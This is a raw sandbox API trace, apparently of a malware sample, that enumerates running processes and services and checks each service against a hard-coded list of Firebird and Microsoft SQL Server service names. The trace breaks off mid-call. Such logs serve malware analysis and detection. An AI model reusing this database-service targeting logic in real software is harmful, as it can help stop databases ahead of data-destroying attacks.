lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0093.543] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0093.544] lstrlenW (lpString="taskhostw.exe") returned 13 [0093.544] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0093.545] lstrlenW (lpString="UsoClient.exe") returned 13 [0093.545] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0093.545] lstrlenW (lpString="taskhostw.exe") returned 13 [0093.546] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0093.546] lstrlenW (lpString="msoia.exe") returned 9 [0093.546] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0093.547] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0093.547] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0093.548] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0093.548] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0093.548] lstrlenW (lpString="msoia.exe") returned 9 [0093.548] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0093.549] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0093.549] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0093.550] lstrlenW (lpString="entering.exe") returned 12 [0093.550] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0093.551] lstrlenW (lpString="measurement nut d.exe") returned 21 [0093.551] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0093.552] lstrlenW (lpString="ai element.exe") returned 14 [0093.552] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0093.552] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0093.552] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0093.553] lstrlenW (lpString="clicking.exe") returned 12 [0093.553] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0093.554] lstrlenW (lpString="pack.exe") returned 8 [0093.554] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0093.554] lstrlenW (lpString="try-gtk.exe") returned 11 [0093.555] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0093.555] lstrlenW (lpString="counseling tmp.exe") returned 18 [0093.555] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0093.556] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0093.556] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0093.557] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0093.557] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0093.557] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0093.557] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0093.558] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0093.558] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0093.559] lstrlenW (lpString="jerry pure.exe") returned 14 [0093.559] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0093.560] lstrlenW (lpString="powerseller.exe") returned 15 [0093.560] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0093.561] lstrlenW (lpString="non firewall.exe") returned 16 [0093.561] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0093.562] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0093.562] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0093.563] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0093.563] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0093.564] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0093.564] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0093.565] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0093.565] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0093.566] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0093.566] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0093.567] lstrlenW (lpString="bd guidance.exe") returned 15 [0093.567] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0093.568] lstrlenW (lpString="conhost.exe") returned 11 [0093.568] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0093.568] lstrlenW (lpString="conhost.exe") returned 11 [0093.569] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0093.569] lstrlenW (lpString="lang hl gis.exe") returned 15 [0093.569] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.570] lstrlenW (lpString="svchost.exe") returned 11 [0093.570] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0093.571] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0093.571] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0093.572] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0093.572] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0093.573] lstrlenW (lpString="conhost.exe") returned 11 [0093.573] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.574] lstrlenW (lpString="svchost.exe") returned 11 [0093.574] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0093.574] lstrlenW (lpString="cmd.exe") returned 7 [0093.574] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0093.575] lstrlenW (lpString="conhost.exe") returned 11 [0093.575] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0093.576] CloseHandle (hObject=0x300) returned 1 [0093.576] Sleep (dwMilliseconds=0x1f4) [0094.405] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f460 [0094.408] EnumServicesStatusExW (in: hSCManager=0x47f460, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0094.410] GetLastError () returned 0xea [0094.410] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d5a) returned 0x36860d0 [0094.410] EnumServicesStatusExW (in: hSCManager=0x47f460, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36860d0, cbBufSize=0x1d5a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36860d0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0094.411] CloseServiceHandle (hSCObject=0x47f460) returned 1 [0094.412] lstrlenW (lpString="Appinfo") returned 7 [0094.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0094.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0094.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0094.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0094.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0094.412] lstrlenW (lpString="AppXSvc") returned 7 [0094.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0094.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0094.412] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0094.412] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0094.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0094.412] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0094.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.412] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0094.412] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0094.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0094.412] lstrlenW (lpString="Audiosrv") returned 8 [0094.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0094.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0094.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0094.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0094.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0094.413] lstrlenW (lpString="BFE") returned 3 [0094.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0094.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0094.413] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0094.413] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0094.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0094.413] lstrlenW (lpString="BITS") returned 4 [0094.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0094.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0094.413] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0094.413] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0094.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0094.413] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0094.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0094.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0094.413] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0094.413] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0094.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0094.413] lstrlenW (lpString="CDPSvc") returned 6 [0094.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0094.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0094.413] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0094.413] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0094.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0094.413] lstrlenW (lpString="ClickToRunSvc") returned 13 [0094.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0094.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0094.413] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0094.414] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0094.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0094.414] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0094.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0094.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0094.414] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0094.414] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0094.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0094.414] lstrlenW (lpString="CryptSvc") returned 8 [0094.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0094.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0094.414] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0094.414] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0094.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0094.414] lstrlenW (lpString="DcomLaunch") returned 10 [0094.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.414] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0094.414] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0094.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0094.414] lstrlenW (lpString="DeviceAssociationService") returned 24 [0094.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0094.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0094.414] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0094.414] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0094.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0094.414] lstrlenW (lpString="Dhcp") returned 4 [0094.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0094.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0094.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0094.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0094.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0094.415] lstrlenW (lpString="Dnscache") returned 8 [0094.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0094.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0094.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0094.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0094.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0094.415] lstrlenW (lpString="DoSvc") returned 5 [0094.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0094.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0094.415] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0094.415] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0094.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0094.415] lstrlenW (lpString="DPS") returned 3 [0094.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0094.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0094.415] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0094.415] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0094.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0094.415] lstrlenW (lpString="DusmSvc") returned 7 [0094.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0094.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0094.415] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0094.415] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0094.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0094.415] lstrlenW (lpString="EventLog") returned 8 [0094.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0094.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0094.415] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0094.416] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0094.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0094.416] lstrlenW (lpString="EventSystem") returned 11 [0094.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0094.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0094.416] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0094.416] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0094.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0094.416] lstrlenW (lpString="FontCache") returned 9 [0094.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0094.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0094.416] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0094.416] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0094.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0094.416] lstrlenW (lpString="gpsvc") returned 5 [0094.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0094.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0094.416] lstrcmpiW (lpString1="sqlwriter", 